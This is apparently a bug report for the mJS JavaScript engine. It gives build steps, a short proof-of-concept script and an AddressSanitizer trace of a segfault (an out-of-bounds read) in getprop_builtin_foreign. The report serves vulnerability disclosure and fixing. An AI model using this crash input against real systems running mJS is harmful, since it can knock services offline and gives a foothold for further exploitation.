SEGV src/mjs_exec.c:501 in getprop_builtin_foreign

[hope-fly]

mJS revision

Commit: b1b6eac

Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)

Build steps

vim Makefile
DOCKER_GCC=gcc
$(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make

Test case

poc.js

```javascript
if ((false && x) !== (isNaN[2147483648])) {
  (false && x)('#1');
}
```

​

Execution steps & Output

$ ./mjs/build/mjs poc.js
ASAN:DEADLYSIGNAL
=================================================================
=====ERROR: AddressSanitizer: SEGV on unknown address 0x55b2aa0e3340 (pc 0x55b32a04691c bp 0x000000000003 sp 0x7fffcfaa75c0 T0)
=====The signal is caused by a READ memory access.
    #0 0x55b32a04691b in getprop_builtin_foreign src/mjs_exec.c:501
    #1 0x55b32a04691b in getprop_builtin src/mjs_exec.c:538
    #2 0x55b32a04691b in mjs_execute src/mjs_exec.c:690
    #3 0x55b32a04ea05 in mjs_exec_internal src/mjs_exec.c:1073
    #4 0x55b32a04ea05 in mjs_exec_file src/mjs_exec.c:1096
    #5 0x55b32a00b909 in main src/mjs_main.c:47
    #6 0x7f5bfdabeb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
    #7 0x55b32a00c449 in _start (/usr/local/bin/mjs+0xe449)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV src/mjs_exec.c:501 in getprop_builtin_foreign